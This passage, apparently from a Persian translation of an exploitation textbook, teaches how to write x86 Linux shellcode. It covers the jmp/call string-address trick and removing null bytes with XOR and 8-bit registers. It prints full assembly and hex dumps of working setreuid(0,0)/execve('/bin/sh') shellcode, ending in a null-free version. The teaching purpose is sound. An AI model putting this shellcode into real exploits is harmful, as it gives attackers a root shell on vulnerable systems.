‫ﺑﺮﺧﻼف دﺳﺘﻮر ‪ ،jmp‬اﯾﻦ دﺳﺘﻮر آدرس ﺑﺮﮔﺸﺖ را ﺑﺮ روی ﭘﺸﺘﻪ ﻗﺮار ﺧﻮاﻫﺪ داد‪ ،‬ﻟـﺬا روﻧـﺪ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ ﭘـﺲ از‬
‫‪78‬‬
‫دﺳﺘﻮر ‪ call‬دﻧﺒﺎل ﺧﻮاﻫﺪ ﺷﺪ‪ .‬ﺣﺎل اﮔﺮ ﺑﻌﺪ از دﺳﺘﻮر ‪ ،call‬ﺑﻪ ﺟﺎی دﺳﺘﻮر ﺑﻌﺪی ﯾﮏ رﺷﺘﻪ ﻗﺮار ﮔﯿﺮد‪ ،‬آﻧﮕﺎه ﻣﯽ ﺗﻮان‬
‫آدرس ﺑﺮﮔﺸﺖ ﻗﺮار داده ﺷﺪه در ﭘﺸﺘﻪ را ﺑﺎزﯾﺎﺑﯽ ﮐﺮد )‪ (pop‬و ﺑﻪ ﺟﺎی اﺳﺘﻔﺎده از آن ﺟﻬﺖ ﺑﺮﮔﺸﺖ ﺑﻪ ﻣﮑـﺎن اوﻟﯿـﻪ‬
‫ﻣﯽ ﺗﻮاﻧﯿﻢ از آن ﺑﺮای ارﺟﺎع دادن رﺷﺘﻪ اﺳﺘﻔﺎده ﮐﻨﯿﻢ‪.‬‬
‫ﻃﺮﯾﻘﻪ ﮐﺎرﮐﺮد اﯾﻦ روش اﯾﻦ ﻃﻮر اﺳﺖ‪ :‬در اﺑﺘﺪای اﺟﺮای ﺑﺮﻧﺎﻣﻪ‪ ،‬روﻧﺪ اﺟﺮا ﺑﻪ ﻣﺤﻠﯽ در ﭘﺎﺋﯿﻦ ﮐـﺪ ﮐـﻪ دﺳـﺘﻮر ‪ call‬و‬
‫رﺷﺘﻪ ﻣﻮرد ﻧﻈﺮ در آﻧﺠﺎ ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ ﭘﺮش ﻣﯽ ﮐﻨـﺪ‪ .‬ﺑﻬﻨﮕـﺎم اﺟـﺮای دﺳـﺘﻮر ‪ ،call‬آدرس رﺷـﺘﻪ روی ﭘـﺸﺘﻪ ﻗـﺮار‬
‫ﺧﻮاﻫﺪ ﮔﺮﻓﺖ‪ .‬ﺳﭙﺲ دﺳﺘﻮر ‪ call‬اﺟﺮا ﻣﯽ ﺷﻮد و روﻧﺪ اﺟﺮا ﺑﻪ ﯾﮏ ﻣﮑﺎن ﻧﺴﺒﯽ در ﭘﺎﺋﯿﻦ دﺳﺘﻮر ﭘـﺮش ﻗﺒﻠـﯽ ﺑـﺎز ﻣـﯽ‬
‫ﮔﺮدد‪ .‬اﮐﻨﻮن ﺑﺮﻧﺎﻣﻪ اﺷﺎرﮔﺮی از رﺷﺘﻪ در اﺧﺘﯿﺎر دارد و ﺑﺮﻧﺎﻣﻪ ﻧﯿﺰ ﻣﯽ ﺗﻮاﻧـﺪ ﺑـﺪون ﻣـﺸﮑﻞ ﮐـﺎر ﺧـﻮد را اداﻣـﻪ دﻫـﺪ‪،‬‬
‫درﺣﯿﻦ اﯾﻨﮑﻪ رﺷﺘﻪ ﻧﯿﺰ در اﻧﺘﻬﺎی ﮐﺪ ﺟﺎﺳﺎزی ﺷﺪه اﺳﺖ‪ .‬در اﺳﻤﺒﻠﯽ اﯾﻦ روش ﺷﺒﯿﻪ ﺑﻪ ﺣﺎﻟﺖ زﯾﺮ اﺳﺖ‪:‬‬
‫‪jmp two‬‬
‫‪one:‬‬
‫‪pop ebx‬‬
‫>‪<program code here‬‬
‫‪two:‬‬
‫‪call one‬‬
‫'‪db 'this is a string‬‬
‫اﺑﺘﺪا ﺑﺮﻧﺎﻣﻪ رو ﺑﻪ ﭘﺎﺋﯿﻦ ﺑﻪ ﺑﺮﭼﺴﺐ ‪ two‬ﭘﺮش ﻣﯽ ﮐﻨﺪ‪ .‬اﮐﻨﻮن ﻗﺒـﻞ از اﺟـﺮای دﺳـﺘﻮر ‪ ،call‬آدرس ﺑﺮﮔـﺸﺖ )ﮐـﻪ در‬
‫اﯾﻨﺠﺎ ﻫﻤﺎن آدرس رﺷﺘﻪ اﺳﺖ( در ﭘـﺸﺘﻪ ﻗـﺮار ﻣـﯽ ﮔﯿـﺮد‪ .‬آﻧﮕـﺎه دﺳـﺘﻮر ‪ ،call‬ﺑﺮﭼـﺴﺐِ ‪ one‬واﻗـﻊ در ﺑـﺎﻻی ﮐـﺪ را‬
‫ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮐﻨﺪ‪ .‬ﺳﭙﺲ ﺑﺮﻧﺎﻣﻪ آدرس ﺑﺮﮔﺸﺖ را از ﭘﺸﺘﻪ ﺣﺬف و ﺑﺎزﯾﺎﺑﯽ )‪ (pop‬ﮐﺮده و آﻧﺮا در ﺛﺒـﺎت ‪ EBX‬ﻗـﺮار‬
‫ﻣﯽ دﻫﺪ و ﭘﺲ از آن ﺑﺮﻧﺎﻣﻪ روﻧﺪ اﺟﺮا را ﺑﻪ ﺻﻮرت ﻋﺎدی اداﻣﻪ ﻣﯽ دﻫﺪ‪.‬‬
‫ﺷﻞ‪-‬ﮐﺪِ ﺑﺮﻫﻨﻪ )‪ 39(stripped-down‬ﮐﻪ از ﺣﻘﻪ ‪ call/jmp‬ﺟﻬﺖ ﮔﺮﻓﺘﻦ آدرس رﺷﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ ،‬ﭼﯿـﺰی ﺷـﺒﯿﻪ‬
‫ﺑﻪ زﯾﺮ اﺳﺖ‪:‬‬
‫‪shellcode.asm‬‬
‫‪BITS 32‬‬

‫)‪; setreuid(uid_t ruid, uid_t euid‬‬

‫‪mov‬‬ ‫‪eax, 70‬‬ ‫;‬ ‫‪put 70 into eax, since setreuid is syscall #70‬‬
‫‪mov‬‬ ‫‪ebx, 0‬‬ ‫;‬ ‫‪put 0 into ebx, to set real uid to root‬‬
‫‪mov‬‬ ‫‪ecx, 0‬‬ ‫;‬ ‫‪put 0 into ecx, to set effective uid to root‬‬
‫‪int‬‬ ‫‪0x80‬‬ ‫;‬ ‫‪Call the kernel to make the system call happen‬‬

‫‪jmp short two‬‬ ‫‪; Jump down to the bottom for the call trick‬‬
‫‪one:‬‬
‫‪pop ebx‬‬ ‫‪; pop the "return address" from the stack‬‬
‫‪; to put the address of the string into ebx‬‬

‫)][‪; execve(const char *filename, char *const argv [], char *const envp‬‬
‫‪mov eax, 0‬‬ ‫‪; put 0 into eax‬‬
‫‪mov [ebx+7], al‬‬ ‫‪; put the 0 from eax where the X is in the string‬‬
‫)‪; ( 7 bytes offset from the beginning‬‬
‫‪mov [ebx+8], ebx‬‬ ‫‪; put the address of the string from ebx where the‬‬
‫)‪; AAAA is in the string ( 8 bytes offset‬‬
‫‪mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the‬‬
‫)‪; BBBB is in the string ( 12 bytes offset‬‬
‫‪mov eax, 11‬‬ ‫‪; Now put 11 into eax, since execve is syscall #11‬‬
‫]‪lea ecx, [ebx+8‬‬ ‫‪; Load the address of where the AAAA was in the string‬‬
‫‪; into ecx‬‬
‫‪lea edx, [ebx+12] ; Load the address of where the BBBB was in the string‬‬
‫‪; into edx‬‬
‫‪int 0x80‬‬ ‫‪; Call the kernel to make the system call happen‬‬
‫‪two:‬‬
‫‪call one‬‬ ‫‪; Use a call to get back to the top and get the‬‬

‫‪ 39‬ﻣﻨﻈﻮر ﺷﻞ‪-‬ﮐﺪی اﺳﺖ ﮐﻪ در ﻗﺎﻟﺐ ﮐﺪﻫﺎی اﺳﻤﺒﻠﯽ اﺳﺖ و ﻫﻨﻮز ﺑﻪ ﻗﺎﻟﺐ ﺑﺎﯾﺖ ﻫﺎی ﻫﮕﺰادﺳﯿﻤﺎل ﺗﺒﺪﯾﻞ ﻧﮕﺮدﯾﺪه اﺳﺖ‪.‬‬
‫‪79‬‬
‫'‪db '/bin/shXAAAABBBB‬‬ ‫‪; address of this string‬‬

‫‪ .2,10,6‬ﺣﺬف ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ‬

‫اﮔﺮ ﻗﻄﻌﻪ ﮐﺪ ﻓﻮق را اﺳﻤﺒﻞ ﮐﺮده و در ﯾﮏ وﯾﺮاﯾﺸﮕﺮ ﻫﮕﺰادﺳﯿﻤﺎل )‪ (Hex Editor‬ﺑﺮرﺳﯽ ﮐﻨﯿﻢ ﻣﻌﻠﻮم ﺧﻮاﻫـﺪ ﺷـﺪ‬
‫ﮐﻪ ﻫﻨﻮز ﻧﻤﯽ ﺗﻮان اﯾﻦ ﮐﺪ را ﺑﻪ ﻋﻨﻮان ﺷﻞ‪-‬ﮐﺪ اﺳﺘﻔﺎده ﮐﺮد‪.‬‬
‫‪$ nasm shellcode.asm‬‬
‫‪$ hexeditor shellcode‬‬

‫‪00000000‬‬ ‫‪B8‬‬ ‫‪46‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪BB‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪B9‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪CD‬‬ ‫‪.F..............‬‬
‫‪00000010‬‬ ‫‪80‬‬ ‫‪EB‬‬ ‫‪1C‬‬ ‫‪5B‬‬ ‫‪B8‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪88‬‬ ‫‪43‬‬ ‫‪07‬‬ ‫‪89‬‬ ‫‪5B‬‬ ‫‪08‬‬ ‫‪89‬‬ ‫‪...[......C..[..‬‬
‫‪00000020‬‬ ‫‪43‬‬ ‫‪0C‬‬ ‫‪B8‬‬ ‫‪0B‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪8D‬‬ ‫‪4B‬‬ ‫‪08‬‬ ‫‪8D‬‬ ‫‪53‬‬ ‫‪0C‬‬ ‫‪CD‬‬ ‫‪80‬‬ ‫‪E8‬‬ ‫‪C.......K..S....‬‬
‫‪00000030‬‬ ‫‪DF‬‬ ‫‪FF‬‬ ‫‪FF‬‬ ‫‪FF‬‬ ‫‪2F‬‬ ‫‪62‬‬ ‫‪69‬‬ ‫‪6E‬‬ ‫‪2F‬‬ ‫‪73‬‬ ‫‪68‬‬ ‫‪58‬‬ ‫‪41‬‬ ‫‪41‬‬ ‫‪41‬‬ ‫‪41‬‬ ‫‪..../bin/shXAAAA‬‬
‫‪00000040‬‬ ‫‪42‬‬ ‫‪42‬‬ ‫‪42‬‬ ‫‪42‬‬ ‫‪BBBB‬‬
‫ﻫﺮ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻮﺟﻮد در ﺷﻞ‪-‬ﮐﺪ )ﮐﻪ ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ( ﺑﻪ ﻋﻨﻮان اﻧﺘﻬﺎی رﺷﺘﻪ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد‪ ،‬ﻟـﺬا‬
‫ﺗﻨﻬﺎ دو ﺑﺎﯾﺖ ﻧﺨﺴﺖ از ﺷﻞ‪-‬ﮐﺪ در ﺑﺎﻓﺮ ﮐﭙﯽ ﺧﻮاﻫﻨﺪ ﺷﺪ‪ .‬ﺑﺮای اﯾﻨﮑﻪ ﺷﻞ‪-‬ﮐﺪ ﺑﻪ درﺳﺘﯽ و ﮐﺎﻣﻞ در ﺑﺎﻓﺮﻫﺎ ﮐﭙـﯽ ﺷـﻮد‪،‬‬
‫ﻟﺬا ﺗﻤﺎم ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ را از ﺑﯿﻦ ﺑﺮد‪.‬‬
‫ﻣﮑﺎن ﻫﺎﯾﯽ از ﮐﺪ ﮐﻪ در آﻧﻬﺎ ﻣﻘﺪار اﯾﺴﺘﺎی ‪) 0‬ﺻﻔﺮ( ﺑﻪ ﯾﮏ ﺛﺒﺎت ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻣﮑﺎن ﻫﺎی آﺷﮑﺎرِ وﺟﻮد ﺑﺎﯾﺖ ﻫـﺎی‬
‫ﭘﻮچ در ﺷﻞ‪-‬ﮐﺪ اﺳﻤﺒﻞ ﺷﺪه ﻫﺴﺘﻨﺪ‪ .‬ﺑﺮای از ﺑﯿﻦ ﺑﺮدن ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ و ﺣﻔﻆ ﻋﺎﻣﻠﯿﺖ )ﮐﺎرﮐﺮد( ﺑﺮﻧﺎﻣﻪ‪ ،‬ﺑﺎﯾﺪ روﺷـﯽ را‬
‫ﺑﮑﺎر ﺑﺴﺖ ﺗﺎ ﺑﺪون اﺳﺘﻔﺎده از ﻣﻘﺪار ‪ 0‬در ﮐﺪ‪ ،‬ﺑﺘﻮان ﻣﻘﺪار اﯾﺴﺘﺎی ‪ 0‬را در ﯾﮏ ﺛﺒﺎت ﻗﺮار داد‪ .‬ﯾﮏ راه ﻣﯽ ﺗﻮاﻧﺪ اﻧﺘﻘﺎل‬
‫ﯾﮏ ﻋﺪد دﻟﺨﻮاه ‪ 32‬ﺑﯿﺘﯽ در ﯾﮏ ﺛﺒﺎت )ﺑﺎ دﺳﺘﻮر ‪ (mov‬و ﺳﭙﺲ ﮐﺎﺳـﺘﻦ آن ﻣﻘـﺪار از ﺧـﻮدش در ﺛﺒـﺎت )ﺑـﺎ دﺳـﺘﻮر‬
‫‪ (sub‬ﺑﺎﺷﺪ‪.‬‬
‫‪mov ebx, 0x11223344‬‬
‫‪sub ebx, 0x11223344‬‬
‫اﮔﺮﭼﻪ اﯾﻦ ﺗﮑﻨﯿﮏ ﮐﺎر ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﺣﺠﻢ دﺳﺘﻮرات در اﯾﻦ ﻧﻘﺎط دو ﺑﺮاﺑﺮ ﻣﯽ ﺷﻮد )ﭼﻮن در اﯾﻦ ﺻﻮرت ﺑـﻪ ﺟـﺎی ﯾـﮏ‬
‫دﺳﺘﻮر‪ ،‬ﻋﻤﻼ دو دﺳﺘﻮر ﺑﮑﺎر ﻣﯽ رود( ﮐﻪ اﯾـﻦ ﮐـﺎر ﺣﺠـﻢ ﺷـﻞ‪-‬ﮐـﺪ اﺳـﻤﺒﻞ ﺷـﺪه را ﺑﺰرﮔﺘـﺮ از اﻧـﺪازه ﻻزم ﻣـﯽ ﮐﻨـﺪ‪.‬‬
‫ﺧﻮﺷﺒﺨﺘﺎﻧﻪ راه ﺣﻠﯽ وﺟﻮد دارد ﮐﻪ ﻣﯽ ﺗﻮان ﺗﻨﻬﺎ ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ دﺳﺘﻮر ﻣﻘﺪار ‪ 0‬را در ﺛﺒﺎت ﻗﺮار داد‪ .XOR :‬دﺳﺘﻮر‬
‫‪ ،XOR‬ﻋﻤﻞ ﯾﺎی اﻧﺤﺼﺎری )‪ (Exlusive OR‬را ﺑﺮ روی ﺑﯿﺖ ﻫﺎی ﯾﮏ ﺛﺒﺎت اﻧﺠﺎم ﻣﯽ دﻫﺪ‪.‬‬
‫ﯾﮏ ﯾﺎی‪-‬اﻧﺤﺼﺎری‪ ،‬ﺑﯿﺖ ﻫﺎ را ﺑﻪ ﺻﻮرت زﯾﺮ ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ‪:‬‬
‫‪1‬‬ ‫‪xor‬‬ ‫‪1‬‬ ‫=‬ ‫‪0‬‬
‫‪0‬‬ ‫‪xor‬‬ ‫‪0‬‬ ‫=‬ ‫‪0‬‬
‫‪1‬‬ ‫‪xor‬‬ ‫‪0‬‬ ‫=‬ ‫‪1‬‬
‫‪0‬‬ ‫‪xor‬‬ ‫‪1‬‬ ‫=‬ ‫‪1‬‬
‫اﮔﺮ ﻋﺪد ‪ 1‬ﺑﺎ ‪ 1‬و ﻧﯿﺰ ﻋﺪد ﺻﻔﺮ ﺑﺎ ﺻﻔﺮ‪ ،‬ﯾﺎی اﻧﺤﺼﺎری ﺷﻮﻧﺪ‪ ،‬ﻧﺘﯿﺠﻪ ی ﻫﺮ دو‪ ،‬ﻋـﺪد ﺻـﻔﺮ ﺧﻮاﻫـﺪ ﺑـﻮد‪ .‬ﻟـﺬا ﻣـﯽ ﺗـﻮان‬
‫ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐﻪ اﮔﺮ ﻫﺮ ﻣﻘﺪار ﺑﺎ ﺧﻮدش ﯾﺎی اﻧﺤﺼﺎری ﺷﻮد ﻧﺘﯿﺠﻪ ﺻﻔﺮ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﻟـﺬا اﮔـﺮ دﺳـﺘﻮر ‪ XOR‬را ﺟﻬـﺖ‬
‫‪ XOR‬ﮐﺮدن ﺛﺒﺎت ﻫﺎ ﺑﺎ ﺧﻮدﺷﺎن ﺑﮑﺎر ﮔﯿﺮﯾﻢ‪ ،‬ﻣﻘﺪار ﺻﻔﺮ در آﻧﻬﺎ ﻗـﺮار ﺧﻮاﻫـﺪ ﮔﺮﻓـﺖ‪ .‬از ﻃﺮﻓـﯽ‪ ،‬ﻫـﻢ ﻓﻘـﻂ از ﯾـﮏ‬
‫دﺳﺘﻮر اﺳﺘﻔﺎده ﮐﺮده اﯾﻢ و ﻫﻢ از ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ دوری ﺟﺴﺘﻪ اﯾﻢ‪.‬‬
‫ﭘﺲ از اﻋﻤﺎل ﺗﻐﯿﯿﺮات ﻣﻨﺎﺳﺐ )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ(‪ ،‬ﺷﻞ‪-‬ﮐﺪ ﺟﺪﯾﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬
‫‪shellcode.asm‬‬
‫‪BITS 32‬‬

‫)‪; setreuid(uid_t ruid, uid_t euid‬‬


‫‪mov eax, 70‬‬ ‫‪; put 70 into eax, since setreuid is syscall #70‬‬
‫‪xor ebx, ebx‬‬ ‫‪; put 0 into ebx, to set real uid to root‬‬
‫‪xor ecx, ecx‬‬ ‫‪; put 0 into ecx, to set effective uid to root‬‬
‫‪int 0x80‬‬ ‫‪; Call the kernel to make the system call happen‬‬

‫‪jmp short two‬‬ ‫‪; Jump down to the bottom for the call trick‬‬
‫‪one:‬‬
‫‪80‬‬
pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
; into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx
int 0x80 ; Call the kernel to make the system call happen

two:
call one ; Use a call to get back to the top and get the
db '/bin/shXAAAABBBB' ; address of this string

:‫ﮐﺪ ﺑﻪ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﮐﻤﺘﺮی ﺑﺮﺧﻮرد ﺧﻮاﻫﯿﻢ ﮐﺮد‬-‫ﭘﺲ از اﺳﻤﺒﻞ ﮐﺮدن اﯾﻦ ﻧﺴﺨﻪ از ﺷﻞ‬
00000000 B8 46 00 00 00 31 DB 31 C9 CD 80 EB 19 5B 31 C0 .F...1.1.....[1.
00000010 88 43 07 89 5B 08 89 43 0C B8 0B 00 00 00 8D 4B .C..[..C.......K
00000020 08 8D 53 0C CD 80 E8 E2 FF FF FF 2F 62 69 6E 2F ..S......../bin/
00000030 73 68 58 41 41 41 41 42 42 42 42 shXAAAABBBB
‫ دﻟﯿـﻞ وﺟـﻮد ﺳـﻪ ﺑﺎﯾـﺖ ﭘـﻮچ‬،‫ﮐﺪ و ﻣﺘﻨﺎﻇﺮ ﮐـﺮدن آن را ﮐـﺪ اﺳـﻤﺒﻞ ﺷـﺪه ی ﻣﺎﺷـﯿﻦ‬-‫ﺑﺎ ﺑﺮرﺳﯽ اوﻟﯿﻦ دﺳﺘﻮر در ﺷﻞ‬
‫ ﺧﻂ اول ﯾﻌﻨﯽ‬.‫ﺑﺎﻗﯿﻤﺎﻧﺪه ﻧﯿﺰ ﻣﺸﺨﺺ ﻣﯽ ﺷﻮد‬
mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
:‫ﺑﻪ ﺻﻮرت ﺧﻂ زﯾﺮ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد‬
B8 46 00 00 00
‫ ﻧﯿــﺰ در‬70 ‫ ﻋــﺪد دﺳــﯿﻤﺎل‬.‫ )آﭘﮑــﺪ( اﺳــﻤﺒﻞ ﻣــﯽ ﺷــﻮد‬0xB8 ‫ ﺑــﻪ ﺻــﻮرت ﻣﻘــﺪار ﻫﮕﺰادﺳــﯿﻤﺎل‬mov eax ‫دﺳــﺘﻮر‬
(padding) ‫ ﺳﻪ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻮﺟﻮد در اﻧﺘﻬﺎی ﺧﻂ ﻓﻮق ﻓﻘﻂ ﭘﺮﮐﻨﻨﺪه ﻫـﺎ‬.‫ اﺳﺖ‬0x00000046 ‫ﻫﮕﺰادﺳﯿﻤﺎل ﺑﻪ ﺻﻮرت‬
32 ‫ اﯾﻦ ﻣﻘﺪار‬.‫ ﺑﯿﺘﯽ )ﭼﻬﺎر ﺑﺎﯾﺘﯽ( داده ﺷﺪه اﺳﺖ‬32 ‫ ﭼﺮا ﮐﻪ ﺑﻪ اﺳﻤﺒﻠﺮ ﻓﺮﻣﺎﻧﯽ ﻣﺒﻨﯽ ﺑﺮ ﮐﭙﯽ ﮐﺮدن ﯾﮏ ﻣﻘﺪار‬،‫ﻫﺴﺘﻨﺪ‬
4 ‫ ﺑﺎﯾﺖ از‬1 ‫ ﺑﻪ اﯾﻦ ﺻﻮرت‬.‫ ﺑﺎﯾﺖ( ﻓﻀﺎ اﺣﺘﯿﺎج دارد‬1) ‫ ﺑﯿﺖ‬8 ‫ ﺗﻨﻬﺎ ﺑﻪ‬70 ‫ ﭼﺮا ﮐﻪ ﻣﻘﺪار دﺳﯿﻤﺎل‬،‫ﺑﯿﺘﯽ ﺧﯿﻠﯽ زﯾﺎد اﺳﺖ‬
‫ ﺑﺎ اﺳـﺘﻔﺎده از‬.(pad) ‫ ﺑﺎﯾﺖ ﺑﺎﻗﯿﻤﺎﻧﺪه ﻧﯿﺰ ﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ ﭘﺮ ﻣﯽ ﺷﻮد‬3 ‫( و‬70 ‫ )ﻣﻌﺎدل دﺳﯿﻤﺎل‬46 ‫ﺑﺎﯾﺖ ﻣﻮﺟﻮد ﺑﺎ ﻣﻘﺪار‬
‫ اﺳﻤﺒﻠﺮ ﺗﺸﺨﯿﺺ ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺗﻨﻬـﺎ‬،EAX ‫ ﺑﯿﺘﯽ‬32 ‫ ﺑﻪ ﺟﺎی اﺳﺘﻔﺎده از ﺛﺒﺎت‬،(EAX ‫ ﺑﯿﺘﯽ ﺛﺒﺎت‬8 ‫ )ﻣﻌﺎدل‬AL ‫ﺛﺒﺎت‬
:‫ ﻟﺬا دﺳﺘﻮر زﯾﺮ‬.‫ﻧﯿﺎز ﺑﻪ ﮐﭙﯽ ﮐﺮدن ﯾﮏ ﺑﺎﯾﺖ اﺳﺖ‬
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
:‫ﺑﻪ ﺻﻮرت زﯾﺮ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد‬
B0 46
‫ در ﺣﺎل ﺣﺎﺿﺮ‬.‫ اﻣﺎ ﻋﺎﻣﻠﯿﺖ ﺑﺮﻧﺎﻣﻪ اﻧﺪﮐﯽ ﺗﻐﯿﯿﺮ ﮐﺮد‬،‫ ﺑﯿﺘﯽ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچِ ﭘﺮﮐﻨﻨﺪه را از ﺑﯿﻦ ﺑﺮد‬8 ‫اﺳﺘﻔﺎده از ﯾﮏ ﺛﺒﺎت‬
‫ اﺑﺘﺪا ﺑﺎﯾﺪ ﺛﺒﺎت‬،‫ ﻟﺬا ﺑﺮای ﺣﻔﻆ ﻋﺎﻣﻠﯿﺖ‬.‫ﻓﻘﻂ ﯾﮏ ﺑﺎﯾﺖ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد و اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﻪ ﺑﺎﯾﺖ ﺑﺎﻗﯿﻤﺎﻧﺪه را ﺻﻔﺮ ﻧﻤﯽ ﮐﻨﺪ‬
.‫را ﺻﻔﺮ ﮐﺮده و ﺳﭙﺲ ﺑﺎﯾﺖ واﺣﺪ را ﺑﻪ آن ﻣﻨﺘﻘﻞ ﮐﺮد‬
xor eax, eax ; first eax must be 0 for the next instruction
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
:‫ﮐﺪ ﺟﺪﯾﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‬-‫ ﺷﻞ‬،(‫ﭘﺲ از اﻋﻤﺎل ﺗﻐﯿﯿﺮات ﻻزﻣﻪ )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ‬
shellcode.asm
BITS 32

; setreuid(uid_t ruid, uid_t euid)


xor eax, eax ; first eax must be 0 for the next instruction
81
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
xor ebx, ebx ; put 0 into ebx, to set real uid to root
xor ecx, ecx ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen
jmp short two ; Jump down to the bottom for the call trick
one:
pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
mov al, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
; into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx
int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the
db '/bin/shXAAAABBBB' ; address of this string
‫ ﭼﺮا ﮐﻪ اﯾﻦ ﺛﺒـﺎت ﻗـﺒﻼ‬،‫ ﻧﯿﺴﺖ‬EAX ‫ اﺣﺘﯿﺎج ﺑﻪ ﺻﻔﺮ ﮐﺮدن ﺛﺒﺎت‬،‫ در ﮐﺪ‬execve() ‫ﺗﻮﺟﻪ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ در ﻗﺴﻤﺖ‬
،‫ اﮔﺮ اﯾﻦ ﺗﮑﻪ ﮐﺪ را اﺳﻤﺒﻞ ﮐﺮده و ﺑﺎ ﯾﮏ وﯾﺮاﯾﺸﮕﺮ ﻫﮕﺰادﺳﯿﻤﺎل ﺑﺮرﺳﯽ ﮐﻨـﯿﻢ‬.‫در اﺑﺘﺪای آن ﻗﺴﻤﺖ ﺻﻔﺮ ﺷﺪه اﺳﺖ‬
.‫دﯾﮕﺮ ﻫﯿﭻ ﺑﺎﯾﺖ ﭘﻮﭼﯽ در ﺑﺮﻧﺎﻣﻪ وﺟﻮد ﻧﺨﻮاﻫﺪ داﺷﺖ‬
$ nasm shellcode.asm
$ hexedit shellcode
00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 58 41 ......./bin/shXA
00000030 41 41 41 42 42 42 42 AAABBBB
.‫ﮐﺪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ درﺳﺘﯽ و ﮐﺎﻣﻞ در ﺑﺎﻓﺮﻫﺎ ﮐﭙﯽ ﺷﻮد‬-‫اﮐﻨﻮن ﮐﻪ ﻫﯿﭻ ﺑﺎﯾﺖ ﭘﻮﭼﯽ ﺑﺎﻗﯽ ﻧﻤﺎﻧﺪه اﺳﺖ ﻟﺬا ﺷﻞ‬
‫ ﻋﻼوه ﺑﺮ از ﺑﯿﻦ‬،‫ ﺑﯿﺘﯽ‬8 ‫ اﻣﺎ اﺳﺘﻔﺎده از ﺛﺒﺎت ﻫﺎ و دﺳﺘﻮرات‬،‫اﮔﺮﭼﻪ در ﭼﻨﺪ ﻣﮑﺎن ﯾﮏ دﺳﺘﻮر اﺿﺎﻓﻪ ﺑﻪ ﺑﺮﻧﺎﻣﻪ اﺿﺎﻓﻪ ﺷﺪ‬
